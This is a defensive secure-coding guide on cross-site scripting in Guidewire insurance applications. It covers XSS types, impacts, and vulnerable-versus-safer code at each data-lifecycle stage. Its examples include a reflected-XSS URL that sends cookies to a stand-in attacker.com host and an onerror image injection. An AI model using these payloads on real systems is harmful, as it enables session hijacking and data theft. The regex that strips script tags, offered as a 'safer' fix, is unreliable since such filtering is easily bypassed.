Cross-Site Scripting (XSS)

---

What is it?

Cross-Site Scripting (XSS) is a security vulnerability that occurs when untrusted input is included in a web page without proper validation or escaping. This allows attackers to inject and execute malicious scripts in the user's browser.

In Guidewire applications, XSS can appear through unescaped user input or unsafe rendering patterns in custom Gosu code, PCF files, and integrations that embed or extend the UI. Preventing XSS requires careful attention to how user input is handled, validated, and output.

XSS can be classified into three prominent types.

Type	Discription	Example
Stored XSS	Malicious script is permanently stored on the server (e.g., in a comment or form field) and served to other users.	A user enters a malicious script, like <script>alert('XSS')</script>, into a customer field or in PolicyCenter/ClaimCenter. This script is then stored in the database. When another user, such as an adjuster or a customer service representative, views the claim or customer details, if the script is evaluated, it can be executed in their browser, potentially compromising their session or data, taking action on behalf of the user without their knowledge.
Reflected XSS	The script is embedded in a URL and reflected off the server in an error message, search result, or response that includes input data.	An attacker crafts a URL with a malicious script embedded in a parameter, for instance, https://app.guidewire.com/claimcenter/csp/claimsearch?query=<script>document.location='http://attacker.com/stealcookie?' + document.cookie</script>. If a Guidewire application, like ClaimCenter, directly uses the query parameter from the URL to display search results on a PCF screen without proper sanitization, the script executes in the user's browser when they click the link. This could occur in custom search implementations or when URL parameters dynamically alter page content.
DOM-based XSS	The browser-side JavaScript dynamically includes data from the DOM without sanitization.	In a custom PCF widget or a Gosu snippet that generates JavaScript, data is read from a URL fragment (e.g., window.location.hash) and used to dynamically update the page content by directly writing to innerHTML. For example, if a custom UI element in PolicyCenter uses JavaScript to display document.getElementById('welcomeMessage').innerHTML = 'Welcome, ' + decodeURIComponent(window.location.hash.substring(1));, an attacker could craft a URL like ...#<img src=x onerror=alert('XSS')> to inject and execute script.

Each of these XSS types works due to insufficient input sanitization or, more importantly, output encoding, since input sanitization can’t predict the output context at different stages of data processing. The browser renders malicious content when untrusted input is processed without adequate encoding or validation.

What Can Go Wrong?

When applications fail to validate and sanitize user input properly, they become vulnerable to Cross-Site Scripting (XSS) attacks. These attacks enable malicious actors to inject scripts into web pages that other users view, resulting in a range of security and usability risks. XSS can compromise both individual users and the broader application ecosystem, resulting in data breaches, reputational damage, and loss of trust.

A critical risk posed by XSS is the ability for an attacker to take action on behalf of the user without their knowledge. For instance, a malicious script could manipulate a user's active session in a Guidewire application to approve a fraudulent claim, initiate an unauthorized financial transaction, such as issuing a payment from ClaimCenter or altering billing information in BillingCenter, or change policy coverage details in PolicyCenter, all without the legitimate user's consent or awareness.

Some of the most common issues that can arise from XSS vulnerabilities include:

Name	Discription	Example
Session Hijacking	Attackers take control of a user's active session, allowing them to access accounts and sensitive information.	A user (e.g., an adjuster in ClaimCenter) clicks a malicious link in an email that appears to be an internal system alert. The link contains a script that steals their active session cookie. The attacker then uses this cookie to log into ClaimCenter as the adjuster, gaining access to sensitive claim files and financial information
Page Defacement	Malicious scripts modify the appearance or behavior of web pages.	An attacker exploits an XSS vulnerability in a custom PCF file used for a dashboard in PolicyCenter. The injected script alters the dashboard to display false policy alerts or misleading information to brokers or underwriters
Data Theft	Scripts steal sensitive customer or policyholder data from the page or local storage.	A script injected into a ClaimCenter page through a vulnerable notes field captures policyholder Social Security Numbers or bank account details as a claims handler enters or views them on a claim financial information screen. The script then sends this data to the attacker's server
Malicious Redirection	Users are silently redirected to phishing or malware-hosting sites.	A user in BillingCenter clicks on a link in a custom report that has been tampered with via an XSS vulnerability. Instead of navigating to the expected report details, they are redirected to a fake Guidewire login page designed to steal their credentials
Reputational Damage	Exploits degrade user trust and damage the organization’s brand and credibility.	If an XSS flaw in a customer-facing Guidewire Digital Portal allows for the injection of offensive content or leads to data theft, users will lose trust in the insurer's ability to protect their data, leading to customer churn and public relations issues
Unauthorized Actions	Malicious scripts perform actions within the application as if they were the logged-in user.	An XSS vulnerability in a custom PolicyCenter PCF screen used for policy endorsements could be exploited. If an underwriter views a policy with a note containing a malicious script, that script could automatically trigger an "approve endorsement" action or change coverage limits without the underwriter's knowledge or explicit click.

Note

Due to Guidewire’s highly customizable nature, XSS vulnerabilities can be inadvertently introduced by developers during:

• Rendering of unescaped data
• Creating custom widgets or UI elements
• Integrating third-party libraries

The Core Issue

XSS exploits vulnerabilities in how user input is handled. Specifically, if user input is rendered without proper validation or encoding, malicious scripts can be executed in the browser.

What Are the Impacts?

XSS attacks execute code in the context of a user's session, potentially leading to the following critical consequences:

• Data Exposure – Malicious scripts can access and leak sensitive policy or claimholder information from the user’s session.
• Application Spoofing – Attackers can manipulate the application's behaviour or appearance, misleading users and capturing credentials or inputs.
• System Compromise – Exploiting XSS can allow attackers to pivot to other systems or services connected to the session, escalating impact.
• Regulatory Non-Compliance – Exposure of sensitive user data through XSS attacks may violate regulatory standards such as:
  • Payment Card Industry Data Security Standard (PCI-DSS) – If payment data is exposed during transactions.
  • Gramm-Leach-Bliley Act (GLBA) – For protecting consumer financial information in the insurance and financial services sectors.
  • General Data Protection Regulation (GDPR) – For personal data of EU residents.
• Reputation Damage – Breaches tied to XSS can erode customer trust and damage the organization’s credibility.

The Data Lifecycle and XSS Prevention

The Data Lifecycle is a series of key checkpoints that serve as a checklist to secure data against XSS attacks. Data should be validated, sanitized, and properly encoded at each stage. These checkpoints provide opportunities to ensure the secure handling of data throughout its journey. Since each stage presents a potential entry point for XSS vulnerabilities, it is essential to evaluate defense strategies at every checkpoint.

Data Lifecycle

Visual representation of the Data Lifecycle, depicting each of the checkpoints

1. Input

What happens: The data enters the application (e.g., form submissions, API requests, URL parameters).

What we need to do: Input validation is critical at this stage. Ensure only expected formats are allowed (e.g., numbers, dates, etc.). Reject or sanitize any input containing HTML or JavaScript, particularly if the input is rendered in the browser.

Example: Input Validation

//Vulnerable (no validation):
var status = request.getParameter("status");  // No checks

This line blindly trusts the input, allowing unexpected or malicious values (like <script> tags) to enter your system.

// Safer
var validStatuses = {"Open", "Closed", "Pending"};
var status = request.getParameter("status");
if (!validStatuses.contains(status)) {
    throw new IllegalArgumentException("Invalid status");
}

2. Sanitize

What happens: Data may be cleaned or processed before it’s stored or passed to the next stage.

What we need to do: Implement sanitization to strip out any potentially dangerous content (e.g., script tags). This is particularly relevant when dealing with user input displayed as raw HTML.

Example: Sanitizing User Input

// Vulnerable (no sanitization):
var userInput = request.getParameter("comment");
response.write("<div>" + userInput + "</div>");

In this example, the input is directly rendered without any sanitization, which could lead to XSS vulnerabilities if the input contains a <script> tag or malicious code.

// Safer
var userInput = request.getParameter("comment");
var sanitizedInput = userInput.replace(/<script.*?>.*?<\/script>/gi, ''); // Remove <script> tags
response.write("<div>" + sanitizedInput + "</div>");

Sanitizing the input by removing dangerous elements (e.g., <script>) ensures that the browser does not execute potentially harmful code.

3. Store

What happens: Data is saved in a database or other storage system.

What we need to do: Ensure that stored data is safe and free from malicious content. If storing HTML, ensure it’s encoded properly to avoid executing script tags. Database sanitization is also important to prevent SQL Injection attacks alongside XSS.

Example: Storing Safe Data

// Vulnerable (no encoding):
var userInput = request.getParameter("profileDescription");
database.save({description: userInput});

This example stores the input directly in the database without encoding, which can lead to XSS vulnerabilities when the data is rendered later.

// Safer
var userInput = request.getParameter("profileDescription");
var encodedInput = htmlEncode(userInput); // Encode HTML before storing
database.save({description: encodedInput});

Encoding the data before storing ensures that any special characters (e.g., <, >, &) are safely stored, preventing the execution of malicious scripts when retrieved from the database.

4. Serve

What happens: Data is served back to users, typically in response to a request (e.g., generating a page with user data).

What we need to do: Apply Output Encoding before serving data to the UI. Depending on the context, you must use the correct encoding technique:

HTML Encoding: Use HTMLENCODE for data that will be placed inside HTML elements. JavaScript Encoding: Use JSENCODE for data in JavaScript contexts. URL Encoding: Use URLENCODE for data being rendered inside URLs.

Example: Output Encoding for HTML

// Vulnerable:
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;

This approach renders the input as raw HTML, which can execute malicious scripts.

// Safer
return <div>{userInput}</div>;

By using {userInput} directly, it is treated as plain text rather than executable code, ensuring no scripts are run.

5. Output Encoding

What happens: Data is rendered in the user’s browser or client-side application.

What we need to do: Output encoding is crucial at this stage to ensure that any untrusted data doesn’t get executed as code. Ensure that data is properly encoded based on the context in which it will be rendered (HTML, JavaScript, URL).

Example: JavaScript Encoding

// Vulnerable
var unsafeData = request.getParameter("data");
var script = `<script>alert('${unsafeData}');</script>`;

This example directly injects unencoded user data into a script, which could be exploited for an XSS attack.

// Safer
var safeData = JSENCODE(request.getParameter("data"));
var script = `<script>alert('${safeData}');</script>`;

By encoding the data before inserting it into the script, we ensure that it is treated as plain text and not executed as JavaScript.

Additional Resources

To further strengthen your understanding and implementation, these resources provide additional guidance on secure coding practices.

• CGISecurity - The Cross-Site Scripting (XSS) FAQ
• Cross-Site Scripting Prevention Cheat Sheet
• Google - Cross-Site Scripting (XSS)
• How browsers work
• HTML5 Security Cheatsheet

Guidewire:

• Add JavaScript to the client application

OWASP:

• Code Review Guide
• Cross-Site Scripting (XSS)
• Cross-Site Scripting Prevention Cheat Sheet
• DOM Based XSS

These resources provide detailed guidance on secure coding practices specific to Guidewire environments.

---